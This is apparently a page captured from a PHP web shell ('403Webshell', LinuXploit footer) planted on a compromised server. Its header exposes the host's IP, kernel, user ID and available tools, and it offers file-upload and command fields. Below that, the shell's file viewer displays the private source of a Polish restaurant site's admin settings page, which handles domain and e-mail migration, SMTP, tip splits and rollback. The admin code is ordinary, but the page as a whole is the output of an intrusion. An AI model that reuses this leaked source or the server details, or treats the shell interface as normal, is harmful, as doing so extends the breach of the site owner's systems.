403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v168-ustawienia.php
<?php
declare(strict_types=1);
/** POLANA V16.9 — zapis ustawień bez modyfikacji reguł starej domeny. */
require_once dirname(__DIR__).'/includes/functions.php';
require_admin_role();
require_once dirname(__DIR__).'/includes/polana_v168_config_tools.php';
header('Cache-Control: no-store, private');
header('X-Robots-Tag: noindex, nofollow');

$root=dirname(__DIR__);
$domainFile=$root.'/includes/polana_domain.php';
$settingsFile=$root.'/admin/settings.php';
$managementFile=$root.'/admin/polana-zarzadzanie.php';
$allowed=[
 'site_url','site_name','owner_name','phone','email','address','postal_code','city',
 'company_full_name','company_nip','company_regon','google_maps_url','facebook_url','instagram_url','andrzej_url',
 'opening_hours','price_range','home_title','home_description','home_lead','home_about_title','home_about_text',
 'contact_title','contact_description','tips_waiter_percent','tips_kitchen_percent','schedule_min_waiters','schedule_min_kitchen',
 'reservation_admin_email','reservations_enabled','reservation_auto_reply_enabled',
 'smtp_from_email','smtp_from_name','smtp_host','smtp_port','smtp_security','smtp_username','smtp_enabled'
];
$error='';$notice='';
$desiredUrl='https://mojapolanasmakow.pl';
$desiredEmail='[email protected]';

function pv168_apply(array $allowed,string $domainFile,string $settingsFile,string $managementFile): void {
    $wanted=[];
    foreach($allowed as $key) {
        if (!array_key_exists($key,$_POST) || !is_string($_POST[$key])) continue;
        $wanted[$key]=pv168_validate($key,$_POST[$key]);
    }
    if (($wanted['site_url']??'')!=='https://mojapolanasmakow.pl')
        throw new RuntimeException('Nie podano prawidłowej nowej domeny.');
    if (isset($wanted['tips_waiter_percent'],$wanted['tips_kitchen_percent'])
        && (int)$wanted['tips_waiter_percent']+(int)$wanted['tips_kitchen_percent']!==100)
        throw new RuntimeException('Podział napiwków musi wynosić łącznie 100%.');
    foreach(['email','reservation_admin_email','smtp_from_email'] as $key) {
        if (empty($wanted[$key])) throw new RuntimeException('Uzupełnij poprawny e-mail: '.$key);
    }
    $current=pv168_read_settings(array_keys($wanted));
    $before=[];$after=[];
    foreach($wanted as $key=>$value) {
        if (!array_key_exists($key,$current) || $current[$key]!==$value) {
            $before[$key]=$current[$key]??null;
            $after[$key]=$value;
        }
    }
    $ops=[];
    // V16.9: NIE przepisuj polana_domain.php. Może zawierać źródłową
    // starą domenę potrzebną do reguł migracji i przekierowań 301.
    // Adres kanoniczny aktualizujemy poprzez settings.site_url.
    // Istniejący kod pozostaje nienaruszony; osobny test wykrywa override.
    if (is_file($settingsFile) && !is_link($settingsFile)) {
        $original=file_get_contents($settingsFile);
        if (!is_string($original)) throw new RuntimeException('Nie można odczytać dotychczasowego panelu ustawień.');
        $updated=pv168_shortcut_patch($original);
        if ($updated!==null && $updated!==$original) {pv168_check_php($updated);$ops['settings']=['path'=>$settingsFile,'old'=>$original,'new'=>$updated];}
    }
    if (is_file($managementFile) && !is_link($managementFile)) {
        $original=file_get_contents($managementFile);
        if (!is_string($original)) throw new RuntimeException('Nie można odczytać Centrum Zarządzania.');
        $updated=pv168_shortcut_patch($original);
        if ($updated!==null && $updated!==$original) {pv168_check_php($updated);$ops['management']=['path'=>$managementFile,'old'=>$original,'new'=>$updated];}
    }
    if (!$after && !$ops) {
        flash('success','Wszystkie wskazane dane są już zapisane. Nie było potrzeby nic zmieniać.');
        redirect('/admin/polana-v168-ustawienia.php');
    }
    $dir=pv168_prepare_dir();
    $id=date('Ymd_His').'_'.bin2hex(random_bytes(4));
    $snapshot=['version'=>'16.8','id'=>$id,'created_at'=>date(DATE_ATOM),'before'=>$before,'after'=>$after,'files'=>[]];
    foreach($ops as $name=>$file) {
        $backup=$id.'_'.$name.'.bak';
        pv168_file_put_private($dir.'/'.$backup,$file['old']);
        $snapshot['files'][$name]=[
            'path'=>$name==='domain'?'includes/polana_domain.php':($name==='management'?'admin/polana-zarzadzanie.php':'admin/settings.php'),
            'backup'=>$backup,
            'before_sha'=>hash('sha256',$file['old']),
            'after_sha'=>hash('sha256',$file['new']),
        ];
    }
    $manifestName=$id.'.json';
    pv168_file_put_private($dir.'/'.$manifestName,json_encode($snapshot,JSON_UNESCAPED_UNICODE|JSON_PRETTY_PRINT|JSON_THROW_ON_ERROR));
    // Zapisz pointer do kopii zanim zmodyfikujemy aplikację.
    pv168_file_put_private($dir.'/latest.json',json_encode(['manifest'=>$manifestName],JSON_THROW_ON_ERROR));
    $written=[]; $transaction=false;
    try {
        foreach($ops as $name=>$file) {pv168_atomic_replace($file['path'],$file['new']);$written[]=$name;}
        db()->beginTransaction();$transaction=true;
        pv168_write_db($after);
        db()->commit();$transaction=false;
    } catch(Throwable $e) {
        if($transaction && db()->inTransaction()) db()->rollBack();
        foreach(array_reverse($written) as $name) {
            try {pv168_atomic_replace($ops[$name]['path'],$ops[$name]['old']);}
            catch(Throwable $restoreError){error_log('POLANA V168 restore failed: '.$restoreError->getMessage());}
        }
        @unlink($dir.'/latest.json');
        throw new RuntimeException('Nie udało się zapisać zmian; próbowano przywrócić pliki: '.$e->getMessage(),0,$e);
    }
    try {admin_log('polana_v168_settings','Zaktualizowano domenę i ustawienia kontaktu (backup '.$id.')');}catch(Throwable $e){}
    flash('success','Zapisano ustawienia i wykonano kopię '.$id.'. Sprawdź SEO i test poczty SMTP.');
    redirect('/admin/polana-v168-ustawienia.php');
}
function pv168_rollback(string $root): void {
    $dir=pv168_backup_dir();$pointer=$dir.'/latest.json';
    if(!is_file($pointer))throw new RuntimeException('Nie znaleziono ostatniego backupu V16.8.');
    $p=json_decode((string)file_get_contents($pointer),true,512,JSON_THROW_ON_ERROR);
    $manifestName=$p['manifest']??'';
    if (!is_string($manifestName)||!preg_match('/^\d{8}_\d{6}_[a-f0-9]{8}\.json$/',$manifestName))throw new RuntimeException('Nieprawidłowy identyfikator kopii.');
    $meta=json_decode((string)file_get_contents($dir.'/'.$manifestName),true,512,JSON_THROW_ON_ERROR);
    if (!is_array($meta)||($meta['version']??'')!=='16.8')throw new RuntimeException('Kopia jest niezgodna z V16.8.');
    $after=$meta['after']??[];$before=$meta['before']??[];
    if(!is_array($after)||!is_array($before))throw new RuntimeException('Błędna struktura kopii.');
    $current=pv168_read_settings(array_keys($after));
    foreach($after as $key=>$val) {
        if (($current[$key]??null)!==$val)throw new RuntimeException('Ustawienie '.$key.' zmieniło się od utworzenia backupu. Nie nadpisuję nowych zmian.');
    }
    $files=[];
    foreach(($meta['files']??[]) as $name=>$info) {
        $rel=$info['path']??'';
        if(!in_array($rel,['includes/polana_domain.php','admin/settings.php','admin/polana-zarzadzanie.php'],true))throw new RuntimeException('Niedozwolona ścieżka rollbacku.');
        if(!isset($info['backup'])||!preg_match('/^[a-zA-Z0-9_]+\.bak$/',(string)$info['backup']))throw new RuntimeException('Niedozwolona nazwa backupu.');
        $path=$root.'/'.$rel;
        $backup=$dir.'/'.$info['backup'];
        if(!is_file($path)||hash_file('sha256',$path)!==($info['after_sha']??''))throw new RuntimeException('Plik '.$rel.' został zmieniony po aktualizacji. Automatyczne cofnięcie zablokowane.');
        if(!is_file($backup)||hash_file('sha256',$backup)!==($info['before_sha']??''))throw new RuntimeException('Kopia pliku '.$rel.' jest niekompletna.');
        $files[$name]=['path'=>$path,'current'=>(string)file_get_contents($path),'original'=>(string)file_get_contents($backup)];
    }
    $restored=[];$transaction=false;
    try {
        foreach($files as $name=>$file){pv168_atomic_replace($file['path'],$file['original']);$restored[]=$name;}
        db()->beginTransaction();$transaction=true;
        pv168_restore_db($before);
        db()->commit();$transaction=false;
    }catch(Throwable $e){
        if($transaction&&db()->inTransaction())db()->rollBack();
        foreach(array_reverse($restored) as $name){try{pv168_atomic_replace($files[$name]['path'],$files[$name]['current']);}catch(Throwable $ignored){}}
        throw new RuntimeException('Rollback nie powiódł się: '.$e->getMessage(),0,$e);
    }
    @rename($pointer,$dir.'/restored_'.$meta['id'].'.json');
    try{admin_log('polana_v168_rollback','Przywrócono kopię '.$meta['id']);}catch(Throwable $e){}
    flash('success','Przywrócono poprzednie ustawienia i pliki.');
    redirect('/admin/polana-v168-ustawienia.php');
}

if(($_SERVER['REQUEST_METHOD']??'GET')==='POST') {
    verify_csrf();
    try {
        $action=(string)($_POST['action']??'');
        if($action==='save')pv168_apply($allowed,$domainFile,$settingsFile,$managementFile);
        elseif($action==='rollback') {
            if(($_POST['confirm']??'')!=='YES')throw new RuntimeException('Potwierdź cofnięcie zmian.');
            pv168_rollback($root);
        } else throw new RuntimeException('Nieznana operacja.');
    }catch(Throwable $e){$error=$e->getMessage();error_log('POLANA V168 settings: '.$error);}
}
$values=pv168_read_settings($allowed);
$existsDomain=is_file($domainFile);
$runtimeUrl='';
try{$runtimeUrl=site_url('');}catch(Throwable $e){$runtimeUrl='BŁĄD: '.$e->getMessage();}
$siteOld=$values['site_url']??'';
// Show proposed target values as editable form fields, not silently changing DB.
foreach(['email','reservation_admin_email','smtp_from_email'] as $k) {
    $existing=(string)($values[$k]??'');
    if ($existing==='' || preg_match('/@(?:www\.)?polanasmakow\.pl$/i',$existing)) $values[$k]=$desiredEmail;
}
$values['site_url']=$desiredUrl;
$defaults=['tips_waiter_percent'=>'70','tips_kitchen_percent'=>'30','schedule_min_waiters'=>'1','schedule_min_kitchen'=>'1',
 'smtp_port'=>'587','smtp_security'=>'starttls','smtp_enabled'=>'0','reservations_enabled'=>'1','reservation_auto_reply_enabled'=>'1'];
$pick=static fn(string $key):string => (string)($values[$key]??$defaults[$key]??'');

render_admin_header('Ustawienia — domena i poczta');
?>
<style>
.p168{max-width:1190px;margin:auto;padding:12px 8px 40px}.p168 h1{font-size:clamp(1.5rem,3vw,2.3rem);margin:0 0 9px}.p168 .lead{color:#576158;margin-bottom:16px}.p168 .bar{display:flex;flex-wrap:wrap;gap:9px;margin:13px 0 20px}.p168 .link{padding:10px 15px;border:1px solid #d1d8cd;border-radius:11px;text-decoration:none;background:white;color:#234421;font-weight:650}.p168 .card{background:#fff;border:1px solid #d5ded1;border-radius:16px;padding:20px;margin:15px 0;box-shadow:0 5px 22px rgba(20,35,20,.04)}.p168 .card h2{margin:0 0 6px;font-size:1.3rem}.p168 .hint{color:#59675b;font-size:.88rem}.p168 .grid{display:grid;grid-template-columns:repeat(2,minmax(0,1fr));gap:14px;margin:16px 0}.p168 label{display:flex;flex-direction:column;gap:5px;font-weight:600;font-size:.92rem;color:#202c1d}.p168 input,.p168 textarea,.p168 select{font:inherit;width:100%;padding:11px 12px;border:1px solid #c9d5c4;border-radius:10px;color:#182017;background:white;min-width:0}.p168 textarea{resize:vertical;min-height:86px}.p168 .full{grid-column:1/-1}.p168 .status{padding:12px 15px;background:#f2f8ed;border-radius:10px;margin:7px 0}.p168 .status-warn{background:#fff5e7}.p168 .submit{background:#a1d42d;color:#112009;border:0;padding:13px 20px;border-radius:12px;font-weight:800;cursor:pointer}.p168 .danger{background:#fff4f0;border:1px solid #eac3b4}.p168 .button-alt{background:#fff;border:1px solid #bd7c67;padding:11px 15px;border-radius:9px;color:#7d261b;cursor:pointer}.p168 code{white-space:normal;overflow-wrap:anywhere}.p168 .ok{background:#eef8e6;border:1px solid #abce93;padding:14px;border-radius:9px}.p168 .err{background:#fff1ef;border:1px solid #e6aaaa;padding:14px;border-radius:9px}.p168 .tag{font-size:.82rem;background:#edf2e7;padding:3px 9px;border-radius:20px}.p168 .small{font-size:.85rem;color:#58645c} @media(max-width:730px){.p168 .grid{grid-template-columns:1fr}.p168 .card{padding:13px}}
</style>
<section class="p168">
<h1>Ustawienia restauracji — wszystko w jednym miejscu</h1>
<p class="lead">Zapis ustawień bez zmieniania reguł przekierowań starej domeny. Najpierw możesz naprawić samą domenę i trzy adresy e-mail.</p>
<div class="bar">
 <a class="link" href="/admin/polana-zarzadzanie.php">Zarządzanie</a>
 <a class="link" href="/admin/polana-seo-centrum.php">SEO i Google</a>
 <a class="link" href="/admin/reservation-settings.php">SMTP i test wiadomości</a>
 <a class="link" href="/sitemap.xml" target="_blank" rel="noopener">Mapa XML ↗</a>
 <a class="link" href="/admin/polana-v169-domena-test.php">Test domeny i poczty</a>
</div>
<?php if($error!==''): ?><div class="err" role="alert"><?=pv168_h($error)?></div><?php endif; ?>
<div class="card">
  <h2>Stan obecny</h2>
  <div class="status"><strong>Domena w bazie:</strong> <?=pv168_h($siteOld?:'brak')?> <span class="tag">obecna</span></div>
  <div class="status"><strong>Adres używany przez PHP:</strong> <?=pv168_h($runtimeUrl?:'brak')?></div>
  <div class="status <?= $existsDomain?'status-warn':'' ?>"><strong>Plik migracji domeny:</strong> <?= $existsDomain?'istnieje — pozostaje bez zmian (może obsługiwać przekierowania 301)':'brak — adres kontroluje ustawienie w MariaDB' ?></div>
  <div class="status"><strong>SMTP:</strong> <?=($values['smtp_enabled']??'0')==='1'?'włączone':'wyłączone'?>; host: <?=pv168_h($values['smtp_host']??'nieustawiony')?>. <span class="small">Sama zmiana e-maila nie uruchamia poczty.</span></div>
  <p class="hint">Po szybkim zapisie sprawdź „Domena w bazie” oraz „Adres używany przez PHP”. Jeśli drugi nadal wskazuje starą domenę, uruchom test domeny. Plik migracyjny pozostaje nienaruszony.</p>
</div>
<div class="card">
 <h2>Szybka naprawa domeny i adresów e-mail</h2>
 <p class="hint">Zapisuje TYLKO cztery wartości w MariaDB. Nie zmienia hasła, hosta, loginu ani stanu SMTP. Nie dotyka pliku <code>polana_domain.php</code>.</p>
 <form method="post">
  <?=csrf_field()?>
  <input type="hidden" name="action" value="save">
  <input type="hidden" name="site_url" value="https://mojapolanasmakow.pl">
  <input type="hidden" name="email" value="[email protected]">
  <input type="hidden" name="reservation_admin_email" value="[email protected]">
  <input type="hidden" name="smtp_from_email" value="[email protected]">
  <button class="submit" type="submit" onclick="return confirm('Zapisać nową domenę i 3 e-maile? Backup zostanie wykonany poza WWW.')">Napraw domenę i e-maile jednym kliknięciem</button>
 </form>
</div>
<form method="post" autocomplete="off">
<?=csrf_field()?>
<input type="hidden" name="action" value="save">
<div class="card">
 <h2>1. Domena i adresy e-mail</h2>
 <p class="hint">Adresy docelowe zostały wpisane do formularza. Zostaną zapisane dopiero po kliknięciu przycisku na dole.</p>
 <button type="button" class="link" style="cursor:pointer" onclick="document.querySelectorAll('[name=email],[name=reservation_admin_email],[name=smtp_from_email]').forEach(x=>x.value='[email protected]')">Ustaw e-mail rezerwacji we wszystkich 3 polach</button>
 <div class="grid">
  <label class="full">Główna domena WWW<input type="url" name="site_url" required value="<?=pv168_h($pick('site_url'))?>"></label>
  <label>E-mail kontaktowy<input type="email" name="email" required value="<?=pv168_h($pick('email'))?>"></label>
  <label>Powiadomienia o rezerwacjach<input type="email" name="reservation_admin_email" required value="<?=pv168_h($pick('reservation_admin_email'))?>"></label>
  <label>Adres nadawcy SMTP<input type="email" name="smtp_from_email" required value="<?=pv168_h($pick('smtp_from_email'))?>"></label>
  <label>Nazwa nadawcy<input name="smtp_from_name" value="<?=pv168_h($pick('smtp_from_name'))?>" placeholder="Moja Polana Smaków"></label>
 </div>
</div>
<div class="card">
<h2>2. Restauracja i dane kontaktowe</h2>
<div class="grid">
 <label>Nazwa<input name="site_name" value="<?=pv168_h($pick('site_name'))?>"></label>
 <label>Właściciel / podpis<input name="owner_name" value="<?=pv168_h($pick('owner_name'))?>"></label>
 <label>Telefon<input name="phone" value="<?=pv168_h($pick('phone'))?>"></label>
 <label>Ulica i numer<input name="address" value="<?=pv168_h($pick('address'))?>"></label>
 <label>Kod pocztowy<input name="postal_code" value="<?=pv168_h($pick('postal_code'))?>"></label>
 <label>Miasto<input name="city" value="<?=pv168_h($pick('city'))?>"></label>
 <label class="full">Godziny otwarcia<textarea name="opening_hours"><?=pv168_h($pick('opening_hours'))?></textarea></label>
 <label class="full">Nazwa firmy<input name="company_full_name" value="<?=pv168_h($pick('company_full_name'))?>"></label>
 <label>NIP<input name="company_nip" value="<?=pv168_h($pick('company_nip'))?>"></label>
 <label>REGON<input name="company_regon" value="<?=pv168_h($pick('company_regon'))?>"></label>
 <label>Zakres cen<input name="price_range" value="<?=pv168_h($pick('price_range'))?>"></label>
 <label>Google Maps<input type="url" name="google_maps_url" value="<?=pv168_h($pick('google_maps_url'))?>"></label>
 <label>Facebook<input type="url" name="facebook_url" value="<?=pv168_h($pick('facebook_url'))?>"></label>
 <label>Instagram<input type="url" name="instagram_url" value="<?=pv168_h($pick('instagram_url'))?>"></label>
 <label class="full">Strona Andrzeja<input type="url" name="andrzej_url" value="<?=pv168_h($pick('andrzej_url'))?>"></label>
</div>
</div>
<div class="card">
 <h2>3. SEO i treści strony</h2>
 <div class="grid">
  <label class="full">SEO title strony głównej<input name="home_title" value="<?=pv168_h($pick('home_title'))?>"></label>
  <label class="full">SEO description strony głównej<textarea name="home_description"><?=pv168_h($pick('home_description'))?></textarea></label>
  <label class="full">Lead strony głównej<textarea name="home_lead"><?=pv168_h($pick('home_lead'))?></textarea></label>
  <label>Tytuł „O nas”<input name="home_about_title" value="<?=pv168_h($pick('home_about_title'))?>"></label>
  <label class="full">Opis „O nas”<textarea name="home_about_text"><?=pv168_h($pick('home_about_text'))?></textarea></label>
  <label class="full">SEO title kontaktu<input name="contact_title" value="<?=pv168_h($pick('contact_title'))?>"></label>
  <label class="full">SEO description kontaktu<textarea name="contact_description"><?=pv168_h($pick('contact_description'))?></textarea></label>
 </div>
</div>
<div class="card">
 <h2>4. Rezerwacje i SMTP</h2>
 <p class="hint">Hasło SMTP i serwer poczty nie są zmieniane automatycznie. Aby testować wysyłkę, otwórz ustawienia rezerwacji po zapisaniu.</p>
 <div class="grid">
  <label>Rezerwacje online<select name="reservations_enabled"><option value="1" <?= $pick('reservations_enabled')==='1'?'selected':'' ?>>Włączone</option><option value="0" <?= $pick('reservations_enabled')==='0'?'selected':'' ?>>Wyłączone</option></select></label>
  <label>Auto-odpowiedzi<select name="reservation_auto_reply_enabled"><option value="1" <?= $pick('reservation_auto_reply_enabled')==='1'?'selected':'' ?>>Włączone</option><option value="0" <?= $pick('reservation_auto_reply_enabled')==='0'?'selected':'' ?>>Wyłączone</option></select></label>
  <label>SMTP<select name="smtp_enabled"><option value="1" <?= $pick('smtp_enabled')==='1'?'selected':'' ?>>Włączone</option><option value="0" <?= $pick('smtp_enabled')==='0'?'selected':'' ?>>Wyłączone</option></select></label>
  <label>Serwer SMTP<input name="smtp_host" value="<?=pv168_h($pick('smtp_host'))?>" placeholder="smtp.przykladowadomena.pl"></label>
  <label>Port SMTP<input type="number" min="1" max="65535" name="smtp_port" value="<?=pv168_h($pick('smtp_port'))?>"></label>
  <label>Szyfrowanie<select name="smtp_security"><option value="starttls" <?= $pick('smtp_security')==='starttls'?'selected':'' ?>>STARTTLS</option><option value="ssl" <?= $pick('smtp_security')==='ssl'?'selected':'' ?>>SSL/TLS</option><option value="none" <?= $pick('smtp_security')==='none'?'selected':'' ?>>Brak</option></select></label>
  <label class="full">Login SMTP — zmień tylko jeśli skrzynka wymaga innego logowania<input name="smtp_username" value="<?=pv168_h($pick('smtp_username'))?>" autocomplete="off"></label>
 </div>
</div>
<div class="card">
 <h2>5. Napiwki i grafik</h2>
 <div class="grid">
  <label>Kelnerzy (%)<input type="number" min="0" max="100" name="tips_waiter_percent" value="<?=pv168_h($pick('tips_waiter_percent'))?>"></label>
  <label>Kuchnia (%)<input type="number" min="0" max="100" name="tips_kitchen_percent" value="<?=pv168_h($pick('tips_kitchen_percent'))?>"></label>
  <label>Minimum kelnerów<input type="number" min="0" max="20" name="schedule_min_waiters" value="<?=pv168_h($pick('schedule_min_waiters'))?>"></label>
  <label>Minimum kuchni<input type="number" min="0" max="20" name="schedule_min_kitchen" value="<?=pv168_h($pick('schedule_min_kitchen'))?>"></label>
 </div>
</div>
<div class="card">
 <button class="submit" type="submit" onclick="return confirm('Zapisać ustawienia, zmienić domenę główną i adresy e-mail? Najpierw zostanie wykonany backup.')">Zapisz pełne ustawienia + wykonaj backup</button>
 <p class="small">Po zapisaniu otwórz SEO Health i test SMTP. Nie wysyłamy testowych wiadomości bez kliknięcia.</p>
</div>
</form>
<div class="card danger">
 <h2>Wycofanie aktualizacji</h2>
 <p class="hint">Przywraca wartości ustawień i pliki zmienione przez ostatni zapis V16.8, o ile od tego czasu nikt ich nie modyfikował.</p>
 <form method="post"><?=csrf_field()?>
  <input type="hidden" name="action" value="rollback">
  <label style="display:flex;align-items:center;flex-direction:row;gap:8px"><input type="checkbox" style="width:auto" name="confirm" value="YES" required> Potwierdzam przywrócenie ostatniej kopii V16.8</label>
  <button class="button-alt" type="submit" onclick="return confirm('Przywrócić poprzednie ustawienia?')">Cofnij ostatnią zmianę</button>
 </form>
</div>
</section>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit